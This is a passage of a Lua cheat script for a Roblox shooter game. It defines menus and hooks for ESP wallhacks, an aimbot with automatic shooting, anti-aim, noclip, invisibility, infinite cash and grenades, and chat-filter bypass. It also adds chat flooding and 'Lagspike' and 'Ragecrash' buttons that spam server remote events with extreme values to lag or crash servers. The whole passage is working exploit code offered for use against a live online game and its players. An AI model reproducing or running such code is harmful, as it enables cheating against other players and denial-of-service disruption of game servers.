3356 v.Acceleration = Vector3.new(0,0,0)
3357 v.Lifetime = NumberRange.new(5, 10)
3358 v.Speed = NumberRange.new(0)
3359 v.RotSpeed = NumberRange.new(10,100)
3360 end
3361 if v:IsA("Part") then
3362 v.Transparency = 1
3363 end
3364 end
3365 end)
3366end)
3367
3368spawn(function()
3369 while wait() do
3370 local SpectatePlayer = nil
3371 if isAlive(Local.Player) then
3372 SpectatePlayer = Local.Player
3373 else
3374 local SpectatePlayer = Local.PlayerGui.GUI.Spectate.Current.Value
3375 if SpectatePlayer and SpectatePlayer ~= "" and SpectatePlayer ~= nil and Services.Players:FindFirstChild(SpectatePlayer) then
3376 SpectatePlayer = Services.Players[SpectatePlayer]
3377 end
3378 end
3379
3380 function disable(v)
3381 PlayerListInfo[v.UserId].SpectatorDot.Visible = false
3382 PlayerListInfo[v.UserId].SpectatorText.Visible = false
3383 SpectateEntries[v.Name].Visible = false
3384 end
3385 pcall(function()
3386 for i,v in pairs(Services.Players:GetPlayers()) do
3387 if not isAlive(v) then
3388 local cf = v.CameraCF.Value
3389 local vector, onScreen = Local.Camera:WorldToScreenPoint(cf.p)
3390 if onScreen then
3391 PlayerListInfo[v.UserId].SpectatorDot.Visible = true
3392 PlayerListInfo[v.UserId].SpectatorText.Visible = true
3393 PlayerListInfo[v.UserId].SpectatorDot.Position = Vector2.new(vector.X, vector.Y)
3394 PlayerListInfo[v.UserId].SpectatorText.Position = Vector2.new(vector.X, vector.Y + 18)
3395 else
3396 PlayerListInfo[v.UserId].SpectatorText.Visible = false
3397 PlayerListInfo[v.UserId].SpectatorDot.Visible = false
3398 end
3399 if SpectatePlayer and SpectatePlayer.Character:FindFirstChild("HumanoidRootPart") and Settings.SpectatorUI then
3400 local d = GetDistanceSq(SpectatePlayer.Character:FindFirstChild("HumanoidRootPart").CFrame.p, cf.p) -- SQUARED DISTANCE FOR EFFICIENCY
3401 if d < 50 then -- 5^2 = 25
3402 --First person
3403 SpectateEntries[v.Name].Visible = true
3404 SpectateEntries[v.Name].OBSM.Text = "Firstperson"
3405 elseif d < 100 then --10^2 = 100
3406 --thirdperson
3407 SpectateEntries[v.Name].Visible = true
3408 SpectateEntries[v.Name].OBSM.Text = "Thirdperson"
3409 else
3410 --not spectating us
3411 SpectateEntries[v.Name].Visible = false
3412 end
3413 else
3414 disable(v)
3415 end
3416 else
3417 disable(v)
3418 end
3419 end
3420 end)
3421 end
3422end)
3423
3424
3425spawn(function()
3426 local Stats = game:GetService("Stats")
3427 local Heartbeat = game:GetService("RunService").Heartbeat
3428
3429 local LastIteration, Start
3430 local FrameUpdateTable = { }
3431 local floor = math.floor
3432 local function HeartbeatUpdate()
3433 LastIteration = tick()
3434 for Index = #FrameUpdateTable, 1, -1 do
3435 FrameUpdateTable[Index + 1] = (FrameUpdateTable[Index] >= LastIteration - 1) and FrameUpdateTable[Index] or nil
3436 end
3437
3438 FrameUpdateTable[1] = LastIteration
3439 local CurrentFPS = (tick() - Start >= 1 and #FrameUpdateTable) or (#FrameUpdateTable / (tick() - Start))
3440 CurrentFPS = floor(CurrentFPS )
3441 setLetters("Qual Beta | "..CurrentFPS.." fps | "..floor(Stats:GetTotalMemoryUsageMb()).." MB | "..Stats.InstanceCount.." Objects")
3442 end
3443
3444 Start = tick()
3445 Heartbeat:Connect(HeartbeatUpdate)
3446end)
3447
3448
3449
3450spawn(function()
3451 local hue = 0
3452 while wait() do
3453 if Settings.Watermark then
3454 hue = hue + 1
3455 for i,v in pairs(letters) do
3456 v.TextColor3 = Color3.fromHSV(((hue / 59) + (i / 59)) % 1, 1, 1)
3457 end
3458 end
3459 end
3460end)
3461
3462
3463Camera:AddSlider("Thirdperson Distance", 20, Settings.ThirdpersonDistance, function(v)
3464 Settings.ThirdpersonDistance = v
3465end)
3466
3467local AlliesESPtab = Core:CreateTab("Ally ESP")
3468local EnemiesESPtab = Core:CreateTab("Enemy ESP")
3469
3470local GameCheats = Core:CreateTab("GameCheats")
3471local PlayerCheats = Core:CreateTab("PlayerCheats")
3472
3473local Skins = PlayerCheats:AddLocalTab("Skins (NOT FE)")
3474local AA = PlayerCheats:AddLocalTab("Antiaim")
3475local AE = PlayerCheats:AddLocalTab("Antienvironment")
3476local RV = PlayerCheats:AddLocalTab("Revolver")
3477local Bunnyhop = PlayerCheats:AddLocalTab("Bunnyhopping")
3478local PCMisc = PlayerCheats:AddLocalTab("Misc")
3479
3480local BM = GameCheats:AddLocalTab("Buy Menu")
3481local ChatTab = GameCheats:AddLocalTab("Chat")
3482local HN = GameCheats:AddLocalTab("Hide Name (CLIENT)")
3483local PS = GameCheats:AddLocalTab("FE Play Sounds")
3484local LagSpike = GameCheats:AddLocalTab("Lagspike / Ragecrash")
3485
3486
3487local Obj = PlayerCheats:AddLocalTab("Objective")
3488local Fun = PlayerCheats:AddLocalTab("Fun")
3489
3490
3491for tab,team in pairs({[AlliesESPtab] = "Allies", [EnemiesESPtab] = "Enemies"}) do
3492 for i,v in pairs({"Inner", "Outer"}) do
3493 local ChamsTab = tab:AddLocalTab(v.." Chams")
3494
3495 ChamsTab:AddToggle("Enabled", Settings[v.."Chams"][team].Render, function(b)
3496 Settings[v.."Chams"][team].Render = b
3497 ESP()
3498 end)
3499
3500 ChamsTab:AddCP("Color", Settings[v.."Chams"][team].Color, function(c3, alpha)
3501 Settings[v.."Chams"][team].Color = c3
3502 if alpha then
3503 Settings[v.."Chams"][team].Transparency = alpha
3504 end
3505 ESP()
3506 end, Settings[v.."Chams"][team].Transparency)
3507
3508 ChamsTab:AddToggle("Use Team Color Instead", Settings[v.."Chams"][team].UseTeamColor, function(b)
3509 Settings[v.."Chams"][team].UseTeamColor = b
3510 ESP()
3511 end)
3512
3513 ChamsTab:AddToggle("Render Only While Visible", Settings[v.."Chams"][team].VisibleOnly, function(b)
3514 Settings[v.."Chams"][team].VisibleOnly = b
3515 ESP()
3516 end)
3517
3518 if v == "Outer" then
3519 ChamsTab:AddSlider("Size", 5, Settings.OuterChams[team].Size, function(n)
3520 Settings.OuterChams[team].Size = n
3521 ESP()
3522 end, 0.01)
3523 end
3524 end
3525
3526 local Boxes = tab:AddLocalTab("Boxes")
3527
3528 Boxes:AddToggle("Render Boxes", Settings.Boxes[team].Enabled, function(b)
3529 Settings.Boxes[team].Enabled = b
3530 end)
3531
3532 Boxes:AddCP("Color", Settings.Boxes[team].Color, function(c3, alpha)
3533 Settings.Boxes[team].Color = c3
3534 Settings.Boxes[team].Transparency = alpha
3535 end, Settings.Boxes[team].Transparency)
3536
3537 local Healthbar = tab:AddLocalTab("Healthbar")
3538
3539 Healthbar:AddToggle("Render Healthbar", Settings.Healthbar[team].Enabled, function(b)
3540 Settings.Healthbar[team].Enabled = b
3541 end)
3542
3543 Healthbar:AddCP("Color", Settings.Healthbar[team].Color, function(c3)
3544 Settings.Healthbar[team].Color = c3
3545 end)
3546
3547 local Tracers = tab:AddLocalTab("Tracers")
3548
3549 Tracers:AddToggle("Render Tracers", Settings.Tracers[team].Enabled, function(b)
3550 Settings.Tracers[team].Enabled = b
3551 end)
3552
3553 Tracers:AddCP("Color", Settings.Tracers[team].Color, function(c3, alpha)
3554 Settings.Tracers[team].Color = c3
3555 Settings.Tracers[team].Transparency = alpha
3556 end, Settings.Tracers[team].Transparency)
3557
3558 local WeaponText = tab:AddLocalTab("Weapon Text")
3559
3560 WeaponText:AddToggle("Render Weapon Text", Settings.WeaponText[team].Enabled, function(b)
3561 Settings.WeaponText[team].Enabled = b
3562 end)
3563
3564 WeaponText:AddCP("Color", Settings.WeaponText[team].Color, function(c3, alpha)
3565 Settings.WeaponText[team].Color = c3
3566 Settings.WeaponText[team].Transparency = alpha
3567 end, Settings.WeaponText[team].Transparency)
3568
3569 local Nametags = tab:AddLocalTab("Nametags")
3570
3571 Nametags:AddToggle("Render Nametags", Settings.Nametags[team].Enabled, function(b)
3572 Settings.Nametags[team].Enabled = b
3573 end)
3574
3575 Nametags:AddCP("Color", Settings.Nametags[team].Color, function(c3, alpha)
3576 Settings.Nametags[team].Color = c3
3577 Settings.Nametags[team].Transparency = alpha
3578 end, Settings.Nametags[team].Transparency)
3579
3580 local BombText = tab:AddLocalTab("Bomb Text")
3581
3582 BombText:AddToggle("Render Bomb Text", Settings.BombText[team].Enabled, function(b)
3583 Settings.BombText[team].Enabled = b
3584 end)
3585
3586 BombText:AddCP("Color", Settings.BombText[team].Color, function(c3, alpha)
3587 Settings.BombText[team].Color = c3
3588 Settings.BombText[team].Transparency = alpha
3589 end, Settings.BombText[team].Transparency)
3590end
3591
3592Skins:AddToggle("Unlock All Skins", Settings.SkinChanger, function(b)
3593 Settings.SkinChanger = b
3594 if b then
3595 Local.Game.CurrentInventory = Skin
3596 end
3597end)
3598--[[
3599Skins:AddButton("Randomize Skins", function()
3600 for i,t in pairs({"T", "CT"}) do
3601 for i,v in pairs(Local.Player.SkinFolder[t.."Folder"]:GetChildren()) do
3602 local s
3603 local CI = Local.Game.CurrentInventory
3604 repeat
3605 wait()
3606 s = math.random(1, #CI)
3607 until CI[s][1]:find("^"..v.Name) ~= nil
3608
3609 Local.Game.equipitem(s, t)
3610 end
3611 end
3612end)]]
3613
3614JNegative = false
3615JRotation = false
3616Jitter = 0
3617
3618AA:AddToggle("Enabled", Settings.AA.Enabled, function(b)
3619 Settings.AA.Enabled = b
3620end)
3621
3622AA:AddSlider("Pitch", 2, Settings.AA.Pitch, function(v)
3623 Settings.AA.Pitch = v
3624 Events.ControlTurn:FireServer(v, false)
3625end, 0.01)
3626
3627AA:AddSlider("Jitter Speed", 45, Settings.AA.JSpeed, function(v)
3628 Settings.AA.JSpeed = v
3629end, 0.1)
3630
3631AA:AddSlider("Jitter Range", 360, Settings.AA.JRange, function(v)
3632 Settings.AA.JRange = v
3633end, 0.1)
3634
3635AA:AddKeybind("Inverse Jitter Direction", Enum.KeyCode[Settings.AA["JDirection"]], function()
3636 JNegative = not JNegative
3637end, false)
3638
3639AA:AddKeybind("Inverse Jitter Rotation", Enum.KeyCode[Settings.AA["JRotation"]], function()
3640 JRotation = not JRotation
3641end, false)
3642
3643AA:AddToggle("Become Invisible", Settings.AA.Invisible, function(b)
3644 Settings.AA.Invisible = b
3645end)
3646
3647DirectionMode = {"None", "Nearest", "All Threats", "Manual"}
3648AA:AddDropdown("Direction", indexOf(DirectionMode, Settings.AA.Direction), DirectionMode, function(d)
3649 pcall(function()
3650 if d == "None" then
3651 Local.Player.Character.Humanoid.AutoRotate = true
3652 end
3653 end)
3654 Settings.AA.Direction = d
3655end)
3656
3657Direction = ""
3658
3659for i,v in pairs({"Left", "Back", "Right"}) do
3660 AA:AddKeybind(v, Enum.KeyCode[Settings.AA[v]], function()
3661 if Direction == v then
3662 Direction = ""
3663 else
3664 Direction = v
3665 end
3666 end, false)
3667end
3668
3669AA:AddToggle("Remove Head", Settings.RHead, function(b)
3670 Settings.RHead = b
3671end)
3672
3673AE:AddToggle("Remove Fall Damage", Settings.NoFall, function(b)
3674 Settings.NoFall = b
3675end)
3676
3677AE:AddToggle("Remove Fire Damage", Settings.AntiMolotov, function(b)
3678 Settings.AntiMolotov = b
3679end)
3680
3681AE:AddToggle("Remove Flashes", Settings.RemoveFlash, function(b)
3682 Settings.RemoveFlash = b
3683 Local.PlayerGui.Blnd.Enabled = not b
3684 Local.PlayerGui.GUI.Blind.Visible = not b
3685end)
3686
3687AE:AddToggle("Wireframe Smokes", Settings.WireframeSmoke, function(b)
3688 Settings.WireframeSmoke = b
3689end)
3690
3691AE:AddToggle("Remove Smokes", Settings.RemoveSmoke, function(b)
3692 Settings.RemoveSmoke = b
3693end)
3694
3695AE:AddKeybind("Noclip", Enum.KeyCode[Settings.Noclipkey], function()
3696 Settings.Noclip = not Settings.Noclip
3697end, false)
3698
3699RV:AddToggle("Make revolver instant", Settings.InstaRev, function(b)
3700 Settings.InstaRev = b
3701end)
3702
3703RV:AddToggle("Play animation constantly", Settings.RevAnimate, function(b)
3704 Settings.RevAnimate = b
3705end)
3706
3707Bunnyhop:AddToggle("Autohop", Settings.Autohop, function(b)
3708 Settings.Autohop = b
3709end)
3710
3711Bunnyhop:AddToggle("Legit Autostrafe", Settings.LegitStrafe, function(b)
3712 Settings.LegitStrafe = b
3713end)
3714
3715Bunnyhop:AddSlider("Autostrafe Speed", 100, Settings.AutohopSpeed, function(n)
3716 Settings.AutohopSpeed = n
3717end)
3718
3719Bunnyhop:AddSlider("Autohop hit percentage", 100, Settings.AutohopHitrate, function(n)
3720 Settings.AutohopHitrate = n
3721end)
3722
3723PCMisc:AddToggle("Infinite Grenades", Settings.InfNades, function(b)
3724 Settings.InfNades = b
3725end)
3726
3727PCMisc:AddToggle("Fakeduck", Settings.Fakeduck, function(b)
3728 Settings.Fakeduck = b
3729end)
3730
3731BM:AddToggle("Buymenu Anywhere", Settings.Buymenu, function(b)
3732 Settings.Buymenu = b
3733end)
3734
3735BM:AddToggle("Infinite Cash", Settings.InfiniteCash, function(b)
3736 Settings.InfiniteCash = b
3737 if not b then
3738 Local.Player.Cash.Value = 5000
3739 Local.PlayerGui.GUI.Cash.Text = "$5000"
3740 end
3741end)
3742
3743BM:AddToggle("Buy any 4 grenades", Settings.RemoveGrenadeLogic, function(b)
3744 Settings.RemoveGrenadeLogic = b
3745end)
3746
3747Fun:AddToggle("Make head blocky", Settings.Blockhead, function(b)
3748 Settings.Blockhead = b
3749end)
3750
3751Fun:AddToggle("Make hats blocky", Settings.Blockhats, function(b)
3752 Settings.Blockhats = b
3753end)
3754
3755Fun:AddToggle("Remove Clothes", Settings.Naked, function(b)
3756 Settings.Naked = b
3757end)
3758
3759Fun:AddToggle("Remove Limbs (VERY BUGGY)", Settings.RLimbs, function(b)
3760 Settings.RLimbs = b
3761end)
3762
3763HN:AddToggle("Hide Name", Settings.HideName, function(b)
3764 Settings.HideName = b
3765end)
3766
3767HN:AddBox("Killsay Message", Settings.Name, function(v)
3768 Settings.Name = v
3769end)
3770
3771for j,k in pairs({workspace, workspace.Sounds}) do
3772 for i,v in pairs(k:GetChildren()) do
3773 if v:IsA("Sound") then
3774 local bool = false
3775 PS:AddToggle("Play "..v.Name, false, function(b)
3776 bool = b
3777 if bool then
3778 v.Playing = true
3779 end
3780 end)
3781 v.Ended:connect(function()
3782 if bool then
3783 v.Playing = true
3784 end
3785 end)
3786 end
3787 end
3788end
3789
3790spawn(function()
3791 repeat wait() until Local.Game.speedupdate
3792
3793 local speedupdate = Local.Game.speedupdate
3794 Local.Game.speedupdate = function()
3795 if Services.UserInputService:IsKeyDown(Enum.KeyCode.Space) and isAlive(Local.Player) and Services.UserInputService:GetFocusedTextBox() == nil and Settings.Autohop then
3796 Local.Player.Character.Humanoid.Jump = true
3797 if not Storage.AutohopHit then
3798 return speedupdate()
3799 end
3800 if Settings.LegitStrafe then
3801 Local.Player.Character.Humanoid.WalkSpeed = Settings.AutohopSpeed
3802 else
3803 Local.Player.Character.Humanoid.WalkSpeed = lerp(Local.Player.Character.Humanoid.WalkSpeed, Settings.AutohopSpeed, 0.01)
3804 end
3805
3806 return
3807 end
3808 return speedupdate()
3809 end
3810end)
3811
3812function mapSkin(gun, gn, skin)
3813 local skindataf = skin
3814 if skindataf ~= nil then
3815 local skin = skindataf
3816 if skin ~= "Stock" then
3817 do
3818 local whichskin = gn
3819 if string.find(string.lower(gn), "falchion") then
3820 whichskin = "Falchion Knife"
3821 end
3822 if string.find(string.lower(gn), "bayonet") then
3823 whichskin = "Bayonet"
3824 end
3825 if string.find(string.lower(gn), "huntsman") then
3826 whichskin = "Huntsman Knife"
3827 end
3828 if string.find(string.lower(gn), "butterfly") then
3829 whichskin = "Butterfly Knife"
3830 end
3831 if string.find(string.lower(gn), "gut") then
3832 whichskin = "Gut Knife"
3833 end
3834 if string.find(string.lower(gn), "karambit") then
3835 whichskin = "Karambit"
3836 end
3837 local skindata = game.ReplicatedStorage.Skins[whichskin][skin]
3838 if not skindata:FindFirstChild("Animated") then
3839 local skindatach = skindata:GetDescendants()
3840 for _, v in pairs(skindatach) do
3841 pcall(function()
3842 if gun:FindFirstChild(v.Name) and gun[v.Name].Transparency == 0 then
3843 if not gun[v.Name]:FindFirstChild("Mesh") then
3844 pcall(function()
3845 gun[v.Name].TextureID = v.Value
3846 end)
3847 elseif gun[v.Name]:FindFirstChild("Mesh") then
3848 pcall(function()
3849 gun[v.Name].Mesh.TextureId = v.Value
3850 end)
3851 end
3852 end
3853 end)
3854 end
3855 else
3856 do
3857 local textures = require(skindata.Animated)
3858 local function findTexture(texture)
3859 for _, v in pairs(textures) do
3860 if v == texture then
3861 return true
3862 end
3863 end
3864 return false
3865 end
3866 coroutine.wrap(function()
3867 repeat
3868 wait()
3869 until gun.Parent
3870 while gun and gun.Parent do
3871 for i = 1, #textures do
3872 if gun and gun.Parent and findTexture(textures[i]) then
3873 if skindata.Name == "Candy Cane" then
3874 gun.Handle.TextureID = textures[i]
3875 elseif skindata.Name == "Late Night" then
3876 gun.Blade.TextureID = textures[i]
3877 gun["1Handle"].TextureID = textures[i]
3878 end
3879 end
3880 wait(textures.delays)
3881 end
3882 wait(textures.delays)
3883 end
3884 end)()
3885 end
3886 end
3887 end
3888 end
3889 end
3890end
3891
3892do -- ui skin handler
3893 for i = 1,3 do
3894 local wep = Local.Game.weapons[i]
3895 wep.ToolName:GetPropertyChangedSignal("Text"):connect(function()
3896 wait()
3897 local gn
3898 if i == 1 then
3899 gn = Local.Game.primary
3900 elseif i == 2 then
3901 gn = Local.Game.secondary
3902 elseif i == 3 then
3903 gn = Local.Game.melee
3904 end
3905 --print(gn)
3906 if FESkins[gn] then
3907 print("YES")
3908 wep.ToolName.Text = gn.." | "..FESkins[gn][3]
3909 wep.ToolName.TextColor3 = FESkins[gn][4]
3910 wep.Weapon.ImageColor3 = FESkins[gn][4]
3911 end
3912 end)
3913 end
3914end
3915
3916spawn(function()
3917 repeat wait() until Local.Game.usethatgun
3918
3919 cantdumpthis = Local.Game.usethatgun
3920
3921 Local.Game.usethatgun = function(owner)
3922 if Local.Game.gun and Local.Game.gun ~= "none" then
3923 local gn = Local.Game.gun.Name
3924 if gn:find("Knife") then
3925 gn = "Knife"
3926 end
3927 if FESkins[gn] and owner and owner.Name == Local.Player.Name then
3928 local v = Services.Players:FindFirstChild(FESkins[gn][1])
3929 if v then
3930 spawn(function()
3931 Local.Camera.ChildAdded:Wait()
3932 wait()
3933 local arms = Local.Camera:WaitForChild("Arms")
3934 mapSkin(arms, Local.Game.gun.Name, FESkins[gn][3])
3935 end)
3936 wait()
3937 cantdumpthis(v)
3938 local skindata = game.ReplicatedStorage.Skins:FindFirstChild(Local.Game.gun.Name)
3939 return
3940 else
3941 FESkins[gn] = nil
3942 end
3943 end
3944 end
3945 cantdumpthis(owner)
3946 Local.Game.fireani:GetPropertyChangedSignal("IsPlaying"):connect(function()
3947 if Local.Game.fireani.IsPlaying and Local.Game.gun.Name == "C4" and Settings.Instaplant then
3948 wait()
3949 print("instaplanting")
3950 Events.PlantC4:FireServer(CFrame.new(Local.Player.Character.HumanoidRootPart.Position + Vector3.new(0,-2,0))*CFrame.Angles(0,0,4), getSite())
3951 Local.Game.fireani:Stop()
3952 end
3953 end)
3954 return
3955 end
3956end)
3957
3958grenadeallowed = Local.Game.grenadeallowed
3959Local.Game.grenadeallowed = function(AAA)
3960 if Settings.RemoveGrenadeLogic then
3961 return true
3962 end
3963 return grenadeallowed(AAA)
3964end
3965
3966ChatTab:AddToggle("Remove Chat Filter", Settings.Unhash, function(b)
3967 Settings.Unhash = b
3968end)
3969
3970ChatTab:AddToggle("See All Chat", Settings.AllChat, function(b)
3971 Settings.AllChat = b
3972end)
3973
3974ChatTab:AddToggle("Chat as always alive", Settings.ChatAlive, function(b)
3975 Settings.ChatAlive = b
3976end)
3977
3978ChatTab:AddBox("Flood Chat Message", Settings.Chat1, function(v)
3979 Settings.Chat1 = v
3980end)
3981
3982ChatTab:AddSlider("Messages per frame", 400, Settings.FloodMessages, function(n)
3983 Settings.FloodMessages = n
3984end)
3985
3986ChatTab:AddToggle("Spam Chat", false, function(b)
3987 if b then
3988 Storage.Chatcrash = Services.RunService.RenderStepped:connect(function()
3989 for i = 1,Settings.FloodMessages do
3990 Chat(Settings.Chat1)
3991 end
3992 end)
3993 elseif Storage.Chatcrash then
3994 Storage.Chatcrash:disconnect()
3995 end
3996end)
3997
3998
3999function DropGun(gun, cf, owner)
4000 if game:GetService("ReplicatedStorage").Warmup.Value == true then return end
4001 Events.Drop:FireServer(gun, cf, 999999999999999999, 999999999999999999, false, owner, false, false)
4002end
4003
4004LagSpike:AddSlider("Lag Severity / Length", 10, Settings.LagSeverity, function(n)
4005 Settings.LagSeverity = n
4006end)
4007
4008LagSpike:AddButton("Lagspike", function()
4009 for i = 1,Settings.LagSeverity*Settings.LagSeverity do
4010 for i,v in pairs(Weapons.Path:GetChildren()) do
4011 if v:IsA("Folder") then
4012 DropGun(v, CFrame.new(0, -999999999999999999, 0), nil)
4013 end
4014 end
4015 end
4016end)
4017
4018LagSpike:AddButton("Ragecrash", function()
4019 S:Connect(function()
4020 local oh1 = Weapons.Path.Molotov.Model
4021 local oh3 = 25
4022 local oh4 = 35
4023 local oh6 = ""
4024 local oh7 = ""
4025 for i = 1,3 do
4026 Events.ThrowGrenade:FireServer(oh1, nil, oh3, oh4, Vector3.new(0,-100,0), oh6, oh7)
4027 end
4028 end)
4029end)
4030
4031
4032ChatTab:AddBox("Killsay Message", Settings.Chat2, function(v)
4033 Settings.Chat2 = v
4034end)
4035
4036ChatTab:AddToggle("Killsay", Settings.Killsay, function(b)
4037 Settings.Killsay = b
4038end)
4039
4040Obj:AddToggle("Antidefuse", Settings.Antidefuse, function(b)
4041 Settings.Antidefuse = b
4042end)
4043
4044Obj:AddToggle("Instaplant", Settings.Instaplant, function(b)
4045 Settings.Instaplant = b
4046end)
4047
4048Obj:AddButton("Capture Hostage", function()
4049 if not isAlive(Local.Player) then return end
4050 if not workspace.Map.Gamemode.Value == "defusal" then
4051 Local.Player.Backpack.Defuse:FireServer(workspace.Map.Regen.Hostages.Hostage)
4052 end
4053end)
4054
4055spawn(function()
4056 while wait(0.2) do
4057 if isAlive(Local.Player) and Local.Player.Character and Local.Player.Character:FindFirstChild("EquippedTool") and Local.Player.Character.EquippedTool.Value == "R8" and Local.Player.Character:FindFirstChild("Gun") and Settings.RevAnimate then
4058 Local.Player.Character.Gun.unpull:Play()
4059 Local.Game.pullani:Play(nil, nil, 0.65)
4060 Local.Player.Character.Gun.pull:Play()
4061 end
4062 end
4063end)
4064
4065
4066lastEquipped = nil
4067
4068function getStatus(v)
4069 local Player = PlayerListInfo[v.UserId]
4070 if not Player then return Settings.DefaultBot end
4071 local stat = Player.Status
4072 if stat == "Auto" then
4073 stat = Settings.DefaultBot
4074 end
4075 return stat
4076end
4077
4078function NoclipLoop()
4079 Local.Player.Character.Humanoid:ChangeState(11)
4080end
4081
4082spawn(function()
4083 while wait() do
4084 for i,v in pairs(Services.Players:GetPlayers()) do
4085 local stat = getStatus(v)
4086 stat = Settings[stat]
4087 if v.Team ~= Local.Player.Team and isAlive(v) and stat and stat.Backtrack then
4088 local bss = BacktrackSample:clone()
4089 for _,o in pairs(v.Character:GetChildren()) do
4090 local p = bss:FindFirstChild(o.Name)
4091 if p then
4092 p.Name = "nowallbang"
4093 p.CFrame = o.CFrame
4094 if not stat.BacktrackRainbow then
4095 p.Color = stat.BacktrackColor
4096 else
4097 p.Color = Rainbow(2,1,1)
4098 end
4099 p.Transparency = stat.BacktrackTransparency
4100 br = Instance.new("ObjectValue", p)
4101 br.Name = "PT"
4102 br.Value = o
4103 Services.Debris:AddItem(p, stat.BacktrackDelay/1000)
4104 end
4105 end
4106 bss.Parent = Backtrack
4107 end
4108 end
4109 end
4110end)
4111
4112yaw = 0
4113
4114--main loop
4115S:connect(function()
4116 if not isAlive(Local.Player) or not Local.Player.Character then
4117 return
4118 end
4119
4120 local Player = Local.Player
4121 local Character = Local.Player.Character
4122
4123 if Settings.InfiniteCash then
4124 Local.Player.Cash.Value = 5500
4125 Local.PlayerGui.GUI.Cash.Text = "$inf"
4126 end
4127
4128 if Spectatorkey.holding then
4129 Local.Camera.CFrame = Local.Player.CameraCF.Value
4130 end
4131 Storage.Target = CalculateAimbot()
4132 --[[local Cache
4133 if Storage.Target then
4134 Cache = Storage.Target[2].Name
4135 else
4136 Cache = nil
4137 end
4138
4139 if Storage.Target and Cache ~= Storage.Target[2].Name then
4140 --PlaySound(538769304, 0, 1/4)
4141 end]]
4142 local Target = Storage.Target
4143 if Target then
4144 local sTarget = Settings[Target[2]]
4145 if sTarget and sTarget.AimbotStyle == "Track target" then
4146 Local.Camera.CFrame = CFrame.new(Local.Camera.CFrame.p, Storage.Target[1][1])
4147 end
4148 if sTarget and sTarget.Shootbot and Local.Game.gun ~= "none" then
4149 local ourCFrame = AimbotFunctions.getRealCameraVector(Local.Player.Character)
4150 local hit, hitpos, dm, wb = AimbotFunctions.SimulateShot(CFrame.new(ourCFrame, Storage.Target[1][1]), Target[3].Character)
4151 if hit then
4152 local dmg = Local.Game.gun.DMG.Value * dm
4153 local wbthing = not wb or (wb and sTarget.Autowall)
4154 if (dmg > (wb and sTarget.MinAWDamage or sTarget.MinVisibleDamage)) and wbthing then
4155 mouse1press()
4156 wait(0.04)
4157 mouse1release()
4158 end
4159 end
4160 end
4161 end
4162
4163 if Settings.Noclip then
4164 NoclipLoop()
4165 end
4166
4167 --[[if Settings.RHead and Character:FindFirstChild("FakeHead") then
4168 Character.FakeHead:Remove()
4169 end]]
4170
4171 if Settings.RHead and Character:FindFirstChild("HeadHB") then
4172 Character.HeadHB:Remove()
4173 Character.FakeHead:Remove()
4174 end
4175
4176 if not Settings.RHead and Settings.Blockhead and Character.FakeHead:FindFirstChild("Mesh") then
4177 Character.FakeHead.Mesh:Remove()
4178 end
4179
4180 if Settings.Naked and Character:FindFirstChildOfClass("Shirt") then
4181 for i,v in pairs(Character:GetDescendants()) do
4182 if v:IsA("Clothing") then
4183 v:Destroy()
4184 end
4185 end
4186 end
4187 pcall(function()
4188 if Settings.Blockhats then
4189 for _,v in pairs(Character:GetChildren()) do
4190 if v:IsA("Accessory") then
4191 v.Handle.Mesh:Destroy()
4192 end
4193 end
4194 end
4195 end)
4196
4197 if Settings.RLimbs and Character:FindFirstChild("RightUpperArm") then
4198 for i,v in pairs(Character:GetChildren()) do
4199 if v:IsA("BasePart") and
4200 v.Name == "RightUpperLeg" or
4201 v.Name == "LeftUpperLeg" or
4202 v.Name == "RightUpperArm" or
4203 v.Name == "LeftUpperArm" then
4204 v:Destroy()
4205 end
4206 end
4207 end
4208
4209 if Settings.AA.Invisible and Character.LowerTorso:FindFirstChild("Root") then
4210 local hrp = Character:FindFirstChild("HumanoidRootPart")
4211 if hrp then
4212 local storedpos = hrp.CFrame
4213 hrp.CFrame = CFrame.new(0,9e12,0)
4214 wait(1)
4215 Character.LowerTorso.Root:Remove()
4216 wait(1)
4217 hrp.CFrame = storedpos
4218 end
4219 end
4220
4221 local current = Character:FindFirstChild("EquippedTool")
4222 if current and current.Value ~= lastEquipped then
4223 lastEquipped = current.Value
4224 doSelfChams()
4225 end
4226end)
4227
4228local PList = UI:CreateWindow("Player List", Vector2.new(600, 430), Vector2.new(540, 40)) --fucking ignore this shit holy fuck this row shit
4229local Players = PList:CreateTab("Players")
4230local Outfits = PList:CreateTab("Outfits")
4231OutfitScroll.Parent = Outfits.main
4232UIListLayout.Parent = Players.main
4233UIPadding.Parent = Players.main
4234TT.Parent = Players.main
4235SFrame.Parent = Players.main
4236Container.BackgroundTransparency = 1
4237Container.Parent = Players.main
4238Container.Size = UDim2.new(1, -20, 0, 170)
4239local ClickedName = nil
4240local Info = Players:AddLocalTab("Player Info")
4241local Name = Info:AddLabel("Name: ")
4242local UID = Info:AddLabel("UserID: ")
4243local RGroup = Info:AddLabel("Is in ROLVe Group: ")
4244local IAlive = Info:AddLabel("Is Alive: ")
4245local Pos = Info:AddLabel("Position: ")
4246local Ang = Info:AddLabel("Angles: ")
4247local Cash = Info:AddLabel("Cash: ")
4248local LOM = Info:AddLabel("Legit-o-meter: ")
4249Players.row.Parent = Container
4250Players.row.Size = UDim2.new(0.5, 0, 1, 0)
4251local Controls = Players:AddLocalTab("More Info + Controls")
4252Players.row.Parent = Container
4253Players.row.Size = UDim2.new(0.5, 0, 1, 0)
4254local Funds = Controls:AddLabel("Credits: ")
4255local Tier = Controls:AddLabel("Current Battlepass Tier: ")
4256local OutfitsButton = Controls:AddButton("View Outfits", function()
4257 if ClickedName == nil then return end
4258 for i,v in pairs(OBack:GetChildren()) do
4259 if v:IsA("Frame") then
4260 v:Destroy()
4261 end
4262 end
4263
4264 local data = game:HttpGet("https://avatar.roblox.com/v1/users/"..ClickedName.UserId.."/outfits")
4265 local json = Services.HttpService:JSONDecode(data)
4266 for i,o in pairs(json.data) do
4267 AddOutfit(o.id, o.name)
4268 end
4269 Outfits:clicked()
4270end)
4271
4272local SkinTab = PList:CreateTab("FE Skins")
4273
4274Instance.new("UIListLayout", SkinTab.main)
4275FESkin.Parent = SkinTab.main
4276SkinScroll.Parent = SkinTab.main
4277
4278local Pictures = Players:AddLocalTab("Avatar Pictures")
4279Pictures.layout.FillDirection = Enum.FillDirection.Horizontal
4280for i = 1,3 do
4281 local IL = Instance.new("ImageLabel", Pictures.content)
4282 IL.BackgroundColor3 = UI.colors.tabselected
4283 IL.BorderColor3 = Color3.new()
4284 IL.Image = "rbxassetid://290996577"
4285 IL.Size = UDim2.new(0,82,0,82)
4286 Pictures.main.Size = UDim2.new(1,0,0, Pictures.layout.AbsoluteContentSize.Y+20)
4287end
4288
